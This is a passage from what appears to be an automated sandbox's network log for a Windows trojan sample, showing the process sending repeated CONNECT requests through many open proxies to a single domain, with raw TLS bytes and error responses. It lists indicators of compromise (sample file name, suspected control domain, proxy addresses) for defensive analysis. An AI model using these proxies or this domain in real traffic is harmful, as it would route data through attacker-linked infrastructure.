Feb 23, 2024 14:28:34.492048025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.581809998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
914	192.168.2.8	52898	47.242.15.120	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.495508909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
915	192.168.2.8	52908	98.170.57.249	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.497052908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
916	192.168.2.8	52883	8.222.175.210	50554	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.515150070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
917	192.168.2.8	52847	103.182.213.100	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.536724091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.239197016 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
918	192.168.2.8	51646	128.199.221.91	12259	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.537111044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.695023060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.695518017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.695220947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
919	192.168.2.8	52470	212.110.188.222	34411	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.562242031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.694919109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.695501089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.695241928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:52.694770098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
920	192.168.2.8	51742	212.110.188.195	34411	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.562396049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.694991112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.695497036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.695244074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
921	192.168.2.8	52929	209.97.150.167	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.567270041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.732259989 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
922	192.168.2.8	51688	114.129.2.82	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.567323923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.695007086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
923	192.168.2.8	52522	98.178.72.21	10919	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.567452908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
924	192.168.2.8	52020	142.54.235.9	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.567929983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
925	192.168.2.8	52916	138.117.116.30	44009	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.576196909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
926	192.168.2.8	52646	95.216.108.17	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.587143898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.818672895 CET	92	IN	HTTP/1.0 200 Connection established Proxy-agent: Kerio Control/9.4.2 patch 1 build 7290

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
927	192.168.2.8	52515	135.181.102.118	7117	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.589179993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.124671936 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
928	192.168.2.8	52906	115.74.159.39	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.595268965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
929	192.168.2.8	52905	103.41.88.182	82	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.615102053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382586002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.491982937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.679613113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.179425955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
930	192.168.2.8	52937	103.113.71.230	1081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.656399965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
931	192.168.2.8	52917	203.74.125.18	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.658310890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
932	192.168.2.8	52915	5.44.42.115	58386	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.679521084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
933	192.168.2.8	51759	202.131.65.110	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.692574024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.044620991 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
934	192.168.2.8	52974	185.162.229.70	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.713717937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.801506042 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
935	192.168.2.8	52925	43.132.212.77	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.722271919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.027153969 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Feb 23, 2024 14:28:29.053703070 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 9d 7c 4e 3f 86 15 6d 9e c3 f1 a3 20 02 51 78 75 f6 58 ed 21 46 f1 9a 30 33 34 01 a3 da 86 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e\|N?m QxuX!F034*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#]31VM\11_&nk7%6ydd`8
Feb 23, 2024 14:28:29.367768049 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 d8 9d 7d 29 0b b8 91 ed 3d 0f ca b8 72 b1 8a 18 ca 85 a2 ed d3 63 b9 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e})=rcDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Feb 23, 2024 14:28:29.367829084 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Feb 23, 2024 14:28:29.367872953 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Feb 23, 2024 14:28:29.367896080 CET	832	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Feb 23, 2024 14:28:29.531213999 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 76 8e 83 08 51 ff 24 63 00 16 ab 16 13 d7 8e ab 23 6d 82 6f d3 24 a9 bd aa 51 59 85 e1 a5 dd 06 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 a8 3c bb d5 f5 f4 1a 92 f0 78 48 66 52 a4 0b d8 ed e5 73 25 ba Data Ascii: %! vQ$c#mo$QY(<xHfRs%~BS7
Feb 23, 2024 14:28:29.836327076 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 ac 70 ba 2f 10 66 a6 90 e5 38 b2 f5 f9 36 ac ee ce ca d8 db c6 6f db 98 db 02 86 e1 16 f0 28 bb 9f 1b 1c f4 45 40 8f ed 03 8e 70 2c 1f eb 29 96 23 ba 66 2d d0 d9 72 99 8c 8b 58 81 f5 4a 81 61 5e 03 03 Data Ascii: p/f86o(E@p,)#f-rXJa^v"BLnBM)"@p/Y_%xB)\|lC@r,4 d\|EyYeltulNv6k*(?r0uR
Feb 23, 2024 14:28:29.837519884 CET	147	OUT	Data Raw: 17 03 03 00 8e 00 00 00 00 00 00 00 01 fa 50 08 fd d4 a1 51 b4 2c be b4 0b fa 1c 80 61 f6 a8 28 3b 78 72 22 93 e3 6e eb b2 9b ed 3e b9 33 65 fb 10 5a ed e9 f3 7d 4a 18 9a 9a 7f 1c 36 2e 81 41 45 a2 95 38 3a bf 54 87 3e a8 6d 30 65 dc 85 26 5c c3 Data Ascii: PQ,a(;xr"n>3eZ}J6.AE8:T>m0e&\0;DPj#_a$$!~`5vF0}6=&UN(VQ
Feb 23, 2024 14:28:30.620137930 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 ec 90 7f c9 04 4b 3f 98 bf 84 5c 13 3d f6 eb 39 c5 b5 9c 1e 19 54 95 cc 6c 82 98 b0 4d 85 69 2c 8b 85 1b f4 1a 28 6b 7f 85 2a f5 31 40 a9 d9 e1 ce 46 7c ad 8d 8e c6 6d 09 4f 47 14 75 d2 e3 d6 0a 3a 7a f5 d3 Data Ascii: qK?\=9TlMi,(k1@F\|mOGu:zGU06L$n!C3WA@y-WSkO+hxp0CE)Rjy+'jcI[^gj-K#`'nQ]S&!_8(&24-L
Feb 23, 2024 14:28:30.620146036 CET	267	IN	Data Raw: dd 15 37 47 1d bb 28 fc b9 81 c6 ed 3f 34 e8 0a 9d 19 54 4c 9d c0 14 fc 22 62 b7 ca c2 7e 3c ca 0a b2 73 35 96 da c6 68 71 d9 fc 5e 04 26 22 45 d0 01 58 d8 a0 56 6d 33 fe be 49 f5 9a dc da 80 aa 1a 5c 21 e8 0c 3b df 04 1b 66 65 7a 09 0a 90 79 0a Data Ascii: 7G(?4TL"b~<s5hq^&"EXVm3I\!;fezy#J#C~.;-}ggb=/"qH;8y"&Y~D"5^y#~`ZI-XS07T@RCQ=vr]3r7jQ~KAk?~#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
936	192.168.2.8	52989	104.16.105.142	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.722510099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.810235023 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
937	192.168.2.8	52942	146.59.2.185	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.739708900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
938	192.168.2.8	52998	192.210.228.28	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.747278929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
939	192.168.2.8	53040	172.67.253.69	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.751455069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.838768959 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
940	192.168.2.8	52952	72.206.181.105	64935	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.751693010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
941	192.168.2.8	52933	14.47.70.137	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.760186911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382585049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.382462978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.194991112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
942	192.168.2.8	53064	104.25.167.88	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
